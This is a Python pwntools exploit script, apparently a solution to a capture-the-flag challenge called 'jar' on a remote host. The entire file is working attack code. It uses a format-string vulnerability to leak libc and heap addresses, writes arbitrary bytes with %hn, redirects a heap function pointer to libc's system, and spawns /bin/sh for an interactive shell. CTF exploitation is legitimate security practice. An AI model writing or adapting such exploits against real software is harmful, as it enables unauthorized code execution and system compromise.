#!/usr/bin/env python
# coding: utf8
from pwn import *

# context.arch = "amd64"
# context.log_level = "debug" # debug, info, warn
context.terminal = ["tmux", "splitw", "-h"]

BINARY = "./jar"
HOST = "jh2i.com"
PORT = 50030

elf = ELF(BINARY, checksec=False)
uu64 = lambda x: u64(x.ljust(8, b"\x00"))
uu32 = lambda x: u32(x.ljust(4, b"\x00"))

def attach(r):
    gdbscript = [
        'b *0x400C56',
        'b *0x400A21',
    ]
    if type(r) == process:
        gdb.attach(r, '\n'.join(gdbscript))

def add(content):
    r.sendlineafter("Choice: \n", b"1")
    r.sendafter(": ", content)

def free(idx):
    r.sendlineafter("Choice: \n", b"2")
    r.sendlineafter("? \n", str(idx))

def edit(idx, content):
    r.sendlineafter("Choice: \n", b"4")
    r.sendlineafter("? \n", str(idx))
    r.sendafter(": \n", content)

def write8(addr, data):
    data = data & 0xFF
    assert(data < 0xF8)
    if data > 1:
        edit(0, b"A" * (data - 1) + b"\n")
        r.sendlineafter("Choice: \n", b"A" * 32 + b"%s%9$hn")
    elif data == 1:
        r.sendlineafter("Choice: \n", b"A" * 32 + b"%c%9$hn")
    else:
        r.sendlineafter("Choice: \n", b"A" * 32 + b"%9$hn")
    r.sendlineafter("Choice: \n", p64(0) + p64(addr))
    r.sendlineafter("Choice: \n", b"3")

def write64(addr, data):
    for i in range(8):
        write8(addr + i, data)
        data >>= 8
        if data == 0:
            break

def exploit(r):
    r.sendlineafter("Choice: \n", b"A" * 32 + b"%85$lx;")
    add("AAAAAAAAAAAAAAAA\n")

    r.sendlineafter("Choice: \n", b"3")
    libc = int(r.recvuntil(";", 1), 16) - 0x020840 # __libc_start_main_ret
    print("libc %x" % libc)

    r.sendlineafter("Choice: \n", b"6")
    r.sendlineafter("? \n", b"0")
    r.recvuntil(": ")
    heap = int(r.recvuntil("Main", 1), 16)
    print("heap %x" % heap)

    write64(heap, libc + 0x0453a0) # system
    write64(heap + 8, heap - 0x100)
    # attach(r)
    edit(0, "/bin/sh\x00\n")

    r.sendlineafter("Choice: \n", b"5")
    r.sendlineafter(")\n", b"0")

if __name__ == '__main__':
    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
    else:
        r = process(BINARY, aslr=0)

    exploit(r)
    r.interactive()